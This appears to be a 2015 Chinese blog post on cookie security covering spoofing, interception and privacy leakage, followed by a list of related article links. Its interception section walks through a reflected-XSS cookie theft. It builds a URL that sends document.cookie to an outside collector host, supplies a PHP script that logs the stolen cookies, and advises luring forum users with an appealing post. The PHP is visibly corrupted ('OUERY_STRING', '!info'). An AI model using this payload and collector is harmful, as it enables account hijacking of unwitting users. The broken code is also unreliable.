深入分析Cookie的安全性问题


Posted in Javascript onMarch 01, 2015

Cookie的目的是为用户带来方便,为网站带来增值,一般情况下不会造成严重的安全威胁。Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。另外,浏览器一般只允许存放300个Cookie,每个站点最多存放20个Cookie,每个Cookie的大小限制为4KB,因此,Cookie不会塞满硬盘,更不会被用作"拒绝服务"攻击手段。

但是,Cookie作为用户身份的替代,其安全性有时决定了整个系统的安全性,Cookie的安全性问题不容忽视。

(1)Cookie欺骗 Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。
非法用户通过Cookie欺骗获得相应的加密密钥,从而访问合法用户的所有个性化信息,包括用户的E-mail甚至帐户信息,对个人信息造成严重危害。
(2)Cookie截获
Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。
Cookie被非法用户截获后,然后在其有效期内重放,则此非法用户将享有合法用户的权益。例如,对于在线阅读,非法用户可以不支付费用即可享受在线阅读电子杂志。

Cookie截获的手段有以下一些:

(1)用编程手段截获Cookie。下面分析其手法,该方法分两步完成。

步骤一:定位需要收集Cookie的网站,对其进行分析并构造URL。 首先打开要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名"<Al>"(不含引号),对数据进行分析抓包,得到如下代码:
http://www.XXX.net/tXl/login/login.pl?username=<Al>&passwd=&ok.X=28&ok.y=6;
将其中"<Al>"更换为:
"<script>alert(document.cookie)</script>"再试,如果执行成功,就开始构造URL:
http://www.XXX.net/tXl/login/login.pl?username=<script>window.open ("http://www.cbifamily.org/cbi.php?"%2bdocument.cookie)</script>&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是"%2b"为符号"+"的URL编码,因为"+"将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。

步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下:

<?php 

$info=getenv("OUERY_STRING"); 

if($info){  

$fp=fopen("info.tXt","a");  

fwrite($fp,!info."\n"); 

fclose($fp);

} 

header("Location:http://www.XXX.net");

?>

将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。
(2)利用Flash的代码隐患截获Cookie。Flash中有一个getURL()函数。Flash可以利用这个函数自动打开指定的网页,它可能把用户引向一个包含恶意代码的网站。例如,当用户在电脑上欣赏Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面,这个页面可以收集Cookie、也可以做一些其他有害的事情。网站无法禁止Flash的这种作为,因为这是Flash文件的内部功能。
(3)Cookie泄漏网络隐私
Cookie导致网络隐私泄密的主要原因是:!商业利益驱动。随着电子商务的兴起和互联网上巨大商机的出现,一些网站和机构滥用Cookie,未经访问者的许可,利用搜索引擎技术、数据挖掘技术甚至是网络欺骗技术搜集他人的个人资料,达到构建用户数据库、发送广告等营利目的,造成用户个人隐私的泄漏。"Cookie信息传递的开放性。Cookie文件具有特殊的传递流程 和文本特性,在服务器和客户端之间传送未经安全加密的Cook-ie文件,易导致个人信息的泄密。

以上都是个人对于cookie安全性的理解,如有遗漏还请大家能够指正。

Javascript 相关文章推荐
javascript事件模型代码
Jul 01 Javascript
动态样式类封装JS代码
Sep 02 Javascript
intro.js 页面引导简单用法 分享
Aug 06 Javascript
node.js中watch机制详解
Nov 17 Javascript
微信小程序 SocketIO 实例讲解
Oct 13 Javascript
jquery 实现回车登录详解及实例代码
Oct 23 Javascript
jQuery自定义插件详解及实例代码
Dec 29 Javascript
使用jQuery的ajax方法向服务器发出get和post请求的方法
Jan 13 Javascript
JS使用tofixed与round处理数据四舍五入的区别
Oct 25 Javascript
vue基础之事件简写、事件对象、冒泡、默认行为、键盘事件实例分析
Mar 11 Javascript
基于Node的Axure文件在线预览的实现代码
Aug 28 Javascript
关于Js中new操作符的作用详解
Feb 21 Javascript
浅谈JavaScript事件的属性列表
Mar 01 #Javascript
浅析javascript中的DOM
Mar 01 #Javascript
javascript中的正则表达式使用指南
Mar 01 #Javascript
JQuery中使文本框获得焦点的方法实例分析
Feb 28 #Javascript
jQuery实现折线图的方法
Feb 28 #Javascript
js中split和replace的用法实例
Feb 28 #Javascript
jQuery实现菜单感应鼠标滑动动画效果的方法
Feb 28 #Javascript
You might like
PHP通过header实现文本文件下载的代码
2010/08/08 PHP
浅析PHP程序防止ddos,dns,集群服务器攻击的解决办法
2013/06/18 PHP
php实现数组纵向转横向并过滤重复值的方法分析
2017/05/29 PHP
Yii 2.0在Grid中格式化时间方法示例
2017/06/06 PHP
PHP中一个有趣的preg_replace函数详解
2018/08/15 PHP
php输出形式实例整理
2020/05/05 PHP
js 小贴士一星期合集
2010/04/07 Javascript
IE6下focus与blur错乱的解决方案
2011/07/31 Javascript
JavaScript初学者应注意的七个细节详细介绍
2012/12/27 Javascript
THREE.JS入门教程(6)创建自己的全景图实现步骤
2013/01/25 Javascript
js浮动图片的动态效果
2013/07/10 Javascript
javascript鼠标右键菜单自定义效果
2020/12/08 Javascript
template.js前端模板引擎使用详解
2017/10/10 Javascript
vue 组件 全局注册和局部注册的实现
2018/02/28 Javascript
vue axios请求频繁时取消上一次请求的方法
2018/11/10 Javascript
在SSM框架下用laypage和ajax实现分页和数据交互的方法
2019/09/27 Javascript
JS实现放烟花效果
2020/03/10 Javascript
[11:57]《一刀刀一天》第十七期:TI中国军团加油!
2014/05/26 DOTA
python映射列表实例分析
2015/01/26 Python
python采集百度搜索结果带有特定URL的链接代码实例
2019/08/30 Python
Django框架表单操作实例分析
2019/11/04 Python
Python(PyS60)实现简单语音整点报时
2019/11/18 Python
简单了解Django项目应用创建过程
2020/07/06 Python
python等待10秒执行下一命令的方法
2020/07/19 Python
python连接mysql数据库并读取数据的实现
2020/09/25 Python
HTML5 manifest离线缓存的示例代码
2018/08/08 HTML / CSS
英语专业学生的自我评价
2013/12/30 职场文书
2014年清明节网上祭英烈寄语
2014/04/09 职场文书
给校长的建议书300字
2014/05/16 职场文书
运动会方队口号
2014/06/07 职场文书
低碳生活的宣传标语
2014/06/23 职场文书
缅怀先烈演讲稿
2014/09/03 职场文书
毕业生个人自荐书
2015/03/05 职场文书
2015年度销售个人工作总结
2015/03/31 职场文书
《一面五星红旗》教学反思
2016/02/23 职场文书
Matplotlib绘制条形图的方法你知道吗
2022/03/21 Python